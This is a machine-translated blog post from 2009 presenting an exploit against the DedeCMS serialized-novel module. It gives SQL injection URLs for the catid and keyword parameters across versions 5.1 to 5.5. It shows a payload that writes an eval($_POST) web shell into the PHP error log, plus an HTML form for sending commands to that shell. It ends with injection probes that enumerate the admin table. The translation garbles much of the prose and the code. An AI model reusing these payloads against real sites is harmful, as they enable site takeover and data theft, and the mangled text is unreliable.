DEDECMSフィクションシリアルモジュールエクスプロイト·エクスプロイト記事マンション、magic_quotes_gpcの、mybooks.php、mysql_error_trace.inc、mysql_error_trace.php、story_books.php、story_list_chapter.php、story_list_content.php、story

DEDECMSフィクションシリアルモジュールのエクスプロイト

このエントリは2009年9月22日に投稿されました

：St0p
再現しますが、ソースhttp://www.st0p.orgを記入してくださいすることができ

穴がシリアル化されたモジュールDEDECMS小説に表示されるので、非常に長い選挙小説はシリアライズされたとしてDEDECMSモジュールをインストールしてから、この問題は、条件の下でいくつかのバージョンでは、直接ああSHELLを得ることができることができます。
条件条件の使用についてst0pの概要：サーバーのPHP設定、magic_quotes_gpcの=オフ
条件2：ターゲットDEDECMSシステムのインストールフィクションシリアルモジュールが選択されている

メンバーディレクトリ内の彼のファイルは、ファイルは5.5ファイルメンバ/ story_books.php記事マンション5.3.1との記事のマンションであるため、まず、記事マンション5.1、新しいチャネルおよび記事マンション5.3.1記事5.5マンションを見てみましょう本ディレクトリには、ファイルは本/ story_books.phpです。
ので、同様のコード内部から、ので、1 story_books.phpラインを見てみましょう

  <？PHPの
 ......
 ! isset ( $action ) ) $action = '' ; //检测变量$action是否存在，不存则则给初使值 もしアクション$ =''（かどうかの判断（$アクション）！）変数$アクションの/ /検出して初期値に、そこに存在しない場合
 ! isset ( $catid ) ) $catid = 0 ; //检测变量$catid是否存在，不存则则给初使值 $ CATID = 0の場合（かどうかの判断（$ CATID）！）/ /変数$ CATIDをテストして存在するが存在しない値を作るために早くすることです
 ! isset ( $keyword ) ) $keyword = "" ; //检测变量$keyword是否存在，不存则则给初使值 もし$キーワード= ""（かどうかの判断（$キーワード）を！）変数の$ keyword / /検出が存在し、初期値にして、存在しません。
 ! isset ( $orderby ) ) $orderby = 0 ; //检测变量$orderby是否存在，不存则则给初使值 / /検出が存在していないかどうかを変数$ orderbyの値を作るために早くすることです。（！かどうかの判断（$ orderbyの））$ orderbyの= 0の場合
 ......
 $catid != 0 ) $addquery .= " And (b.bcatid=' $catid ' Or b.catid=' $catid ') " ; するif（$ CATID = 0！）$ addquery = "AND（b.bcatid = '$ CATID'またはb.catid = '$ CATID'）"; 
 / /変数$ catid属性はそれが検証されない$ CATIDドルaddqueryに直接、0ではありません
 $keyword != "" ) $addquery .= " And (b.bookname like '% $keyword %' Or b.author like '% $keyword %') " ; （！$キーワード= ""）ifと（b.bookname LIKE '％$キーワード％'またはb.author LIKE '％$キーワード％'） "$ addquery =";
 / /変数$キーワードが空でない、それが検証されていない$ addqueryに直接$キーワードです。
 " $クエリ= " 
     ＃@ _ story_books bからCID、c.classnameとしてベータベースを選択しb.id、b.catid、b.bookname、b.booktype、b.litpic、b.postnum、b.senddate、b.ischeck、 
     LEFT JOINの＃@ _ story_catalog C c.id上= b.catidどこMEMBERID = {$ cfg_ml-> M_ID}とb.id> 0 $ addquery $ orderbyの 
  ";
 / /ステートメントを生成します。
 ......
 ？>

参照するには、上記のコードは、Ga、CATIDとそこにはフィルタがないので、これは注射によって引き起こされ、それが文を構成すると思われるキーワードは、トラブルのビットです、これはこの記事では私たちの小さな例の範囲を説明されていない次のアクションがお願いしよう着陸、直接登録アカウント、ログイン後にテストし、次のアドレスを入力します。

記事マンション5.1

次のアドレスでテストCATID変数
http://st0p:88/dedecms51/member/story_books.php?catid=10 '）または（' st0p '=' st0p

テスト二つの変数のキーワードは、以下のアドレス
http://st0p:88/dedecms51/member/story_books.php?keyword=st0p％ 'またはc.classname LIKE'％のst0p

記事のマンション5.31

次のアドレスでテストCATID変数
http://st0p:88/dedecms53/book/story_books.php?catid=10 '）または（' st0p '=' st0p

テスト二つの変数のキーワードは、以下のアドレス

http://st0p:88/dedecms53/book/story_books.php?keyword=st0p％ 'またはc.classname LIKE'％のst0p

記事マンション5.5

次のアドレスでテストCATID変数
http://st0p:88/dedecms55/book/story_books.php?catid=10 '）または（' st0p '=' st0p

テスト二つの変数のキーワードは、以下のアドレス
http://st0p:88/dedecms55/book/story_books.php?keyword=st0p％ 'またはc.classname LIKE'％のst0p

3つのバージョンを参照してくださいDEDECMSそれ以降のバージョンのステートメントを挿入し話さないst0p、注入されたが、それを試して制限されています。
実際には、限り我々はいくつかのポイントを取得するアクセス権の変更など、そのサフィックスPHPのログファイルのバグ、5.1に書かれたMySQLエラー関数に見えません覚えている、いくつかの5.31パッチを当てていない、その後、パッチを適用した場合5.5接尾辞のようなので、単語の馬に書き込まれた株式会社に社名を変更しましたが、使用できませんでした。。。でも早期発見が死亡している場合貧しいああ、。。。

記事のマンション5.31
/ dedesql.class.phpファイルをインクルード

  ......
	 データリンク上で/ /エラー情報を表示します。
	 $msg ) 関数DisplayError（$ msg）を
	 {
		 dirname ( __FILE__ ) . '/../data/mysql_error_trace.php' ; //这里是PHP后缀 $ ErrorTrackFile = dirnameは（__ FILE__） '/ .. /データ/ mysql_error_trace.php'; / /ここはPHPの接尾辞です。
		 '' ; $ emsgで='';
		 "<div><h3>DedeCMS Error Warning!</h3> \r \n " ; $ emsgで= "<DIV> <H3> DedeCMSエラー警告</ H3> \ r \ nを"。
		 "<div><a class=" thickbox " href='http://bbs.dedecms.com' target='_blank' style='color:red'>Technical Support: http://bbs.dedecms.com</a></div>" ; $ emsgで= "<DIV> <a Class=" thickbox" href='http://bbs.dedecms.com' target='_blank' style='color:red'>テクニカルサポート：http://bbs。 dedecms.comする</ a> </ DIV> ";
		 "<div style='line-helght:160%;font-size:14px;color:green'> \r \n " ; $ emsgで= "<div Style='line-helght:160%;font-size:14px;color:green'>は\ r \ n";
		 "<div style='color:blue'><br />Error page: <font color='red'>" . $this -> GetCurUrl ( ) . "</font></div> \r \n " ; $ emsgで= "<div Style='color:blue'> <br />エラーページ：<font color='red'>"。$この - > GetCurUrl（） "</ FONT> </ DIV> \ r \ nを ";
		 "<div>Error infos: {$msg} </div> \r \n " ; $ emsgで= "<DIV>エラーに関する情報：{$ MSG} </ DIV> \ r \ nを";
		 "<br /></div></div> \r \n " ; $ emsgで= "<br /> </ DIV> </ DIV> \ r \ nを";

		 ; emsgで$をエコー。

		 'Page: ' . $this -> GetCurUrl ( ) . " \r \n Error: " . $msg ; $ Savemsg = 'ページ' $この - > GetCurUrl（）は "\ r \ nエラー："。$ MSG】。
		 / / MySQLのエラーログを保存する
		 fopen ( $errorTrackFile , 'a' ) ; する$ fp = @ fopenを（$ errorTrackFile、 ''）;
		 ( $fp , '<' . '?php' . " \r \n /* \r \n {$savemsg} \r \n */ \r \n ?" . "> \r \n " ) ; @ fwriteの（$ fpは、 '<'。 '？' PHP '。は "\ r \ n / * \ r \ nを{$ savemsg}は\ r \ n * / \ r \ nを？" "> \ r \ n"を 。）
		 ( $fp ) ; @注fclose（$ fp）は、
	 }
 ......

5.5マンションとパッチを適用した記事
/ dedesql.class.phpファイルをインクルード

  ......
	 データリンク上で/ /エラー情報を表示します。
	 $msg ) 関数DisplayError（$ msg）を
	 {
		 dirname ( __FILE__ ) . '/../data/mysql_error_trace.inc' ; //后缀变成INC了 $ ErrorTrackFile = dirnameは（__ FILE__） '/ .. /データ/ mysql_error_trace.inc'; / /接尾辞INCになる
		 file_exists ( dirname ( __FILE__ ) . '/../data/mysql_error_trace.php' ) ) //如果mysql_error_trace.php存在，删除文件 （調べるfile_exists（dirnameは（__ FILE__）。 '/ .. /データ/ mysql_error_trace.php'））/ / mysql_error_trace.phpが存在する場合は、ファイルを削除した場合
		 {
			 ( dirname ( __FILE__ ) . '/../data/mysql_error_trace.php' ) ; @はunlink（dirnameは（__ FILE__） '/ .. /データ/ mysql_error_trace.php'）;
		 }
		 '' ; $ emsgで='';
		 "<div><h3>DedeCMS Error Warning!</h3> \r \n " ; $ emsgで= "<DIV> <H3> DedeCMSエラー警告</ H3> \ r \ nを"。
		 "<div><a class=" thickbox " href='http://bbs.dedecms.com' target='_blank' style='color:red'>Technical Support: http://bbs.dedecms.com</a></div>" ; $ emsgで= "<DIV> <a Class=" thickbox" href='http://bbs.dedecms.com' target='_blank' style='color:red'>テクニカルサポート：http://bbs。 dedecms.comする</ a> </ DIV> ";
		 "<div style='line-helght:160%;font-size:14px;color:green'> \r \n " ; $ emsgで= "<div Style='line-helght:160%;font-size:14px;color:green'>は\ r \ n";
		 "<div style='color:blue'><br />Error page: <font color='red'>" . $this -> GetCurUrl ( ) . "</font></div> \r \n " ; $ emsgで= "<div Style='color:blue'> <br />エラーページ：<font color='red'>"。$この - > GetCurUrl（） "</ FONT> </ DIV> \ r \ nを ";
		 "<div>Error infos: {$msg} </div> \r \n " ; $ emsgで= "<DIV>エラーに関する情報：{$ MSG} </ DIV> \ r \ nを";
		 "<br /></div></div> \r \n " ; $ emsgで= "<br /> </ DIV> </ DIV> \ r \ nを";

		 ; emsgで$をエコー。

		 'Page: ' . $this -> GetCurUrl ( ) . " \r \n Error: " . $msg ; $ Savemsg = 'ページ' $この - > GetCurUrl（）は "\ r \ nエラー："。$ MSG】。
		 / / MySQLのエラーログを保存する
		 fopen ( $errorTrackFile , 'a' ) ; する$ fp = @ fopenを（$ errorTrackFile、 ''）;
		 ( $fp , '<' . '?php' . " \r \n /* \r \n {$savemsg} \r \n */ \r \n ?" . "> \r \n " ) ; @ fwriteの（$ fpは、 '<'。 '？' PHP '。は "\ r \ n / * \ r \ nを{$ savemsg}は\ r \ n * / \ r \ nを？" "> \ r \ n"を 。）
		 ( $fp ) ; @注fclose（$ fp）は、
	 }
 ......

上記のコードを読んで、我々はそれを理解し、5.5と5.31は、この中にパッチを適用されますが、使用することはできません、我々は約5.31メソッドの利点を取ることができるという。
メソッドの使用

http://st0p:88/dedecms53/book/story_books.php?keyword=st0p％ 'と* /のeval（$ _POST [st0p]）;？>

ねえ。我々は、シェルを取得できるように
http://st0p:88/dedecms53/data/mysql_error_trace.phpのワードアドレス
記事マンション5.5の利用上のデータを提出する直接POSTは同じですが、生成されたファイル拡張子INCので、コードがに対処するため、無駄がありません、以下はHTMコードを提出するために使用され、すぐ下にテーブルを置くあなたはそれにした単一のアドレス

  "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd" > <DOCTYPE HTML PUBLIC " - / / W3C / / DTD XHTML 1.0暫定/ / EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
 "http://www.w3.org/1999/xhtml" > <htmlのxmlns = "http://www.w3.org/1999/xhtml">
 <HEAD>
 equiv = "Content-Type" content = "text/html; charset=utf-8" /> <Meta-http-EQUIV = "Content-Type"コンテンツ= "text / html;のcharset = utf-8" />
 "author" content = "st0p,st0p.org" /> <meta名= "author"コンテンツ= "st0p, st0p.org" />
 st0p一句话提交</ title > <TITLE> st0pワードは</ TITLE>投稿
 </ HEAD>

 <BODY>
 //st0p:88/dedecms53/data/mysql_error_trace.php换成你的地址--> < - HTTP：/ / st0p：あなたのアドレスに置き換え88/dedecms53/data/mysql_error_trace.php - >
 "form1" name = "form1" method = "post" action = "http://st0p:88/dedecms53/data/mysql_error_trace.php" > <form ID = "form1"名= "form1"方法= "post"アクション= "http://st0p:88/dedecms53/data/mysql_error_trace.php">
   <P>
     <LABEL>
       "st0p" id = "st0p" cols = "45" rows = "5" > echo phpinfo ( ) ;</ textarea > <textarea名= "st0p" ID = "st0p" COLS = "45"行= "5">エコーphpinfo（）を; </ textarea>の
     </ラベル>
   </ P>
   <P>
     <LABEL>
       "submit" name = "button" id = "button" value = "提交" /> <inputタイプ= "submit"名= "button" ID = "button"値= "Submit" />
     </ラベル>
   </ P>
 </ FORM>
 </ BODY>
 </ HTML>

もちろん、フィクションシリアルモジュールは、次のいくつかのファイルが存在する同じ問題もあり、他のドキュメントがある
story_stow.php
mybooks.php
story_books.php
story_list_chapter.php
story_list_content.php

もともとランダム思考我々はいくつかの脂肪分後に、発行することを決めたので、牛の点Xの友人、情報を共有する、との交点より、このエクスプロイトをリリースしましたと考えられていました。。。
私たちは私のブログで説明する問題があります！

注：記事のリリース後、友人は、この非常に無味を読んだ後に言った、私は主張するつもりはない場合、Onサーバーmagic_quotes_gpcのためロット=が、私は質問を書いて存在するだけで、いくつかの条件を使用したい5.31と5.5が、前景の5.1バージョンでシリアル書籍、SQLのフィルタ一部のキーワードのいくつかを追加することができますので、決して似ていますが、我々はバージョン5.1を検出しなければならないいくつかの管理があります例のメンバー。
1、我々は、シリアライズされた本を追加する
2、http://st0p:88/dedecms51/member/story_books.php?catid=10 '）またはdede_adminから（カウントを（*を選択））> 0または（' st0p '=' st0pa

3、http://st0p:88/dedecms51/member/story_books.php?catid=10 '）またはdede_adminから（SELECT COUNT（*））> 1または（' st0p '=' st0pa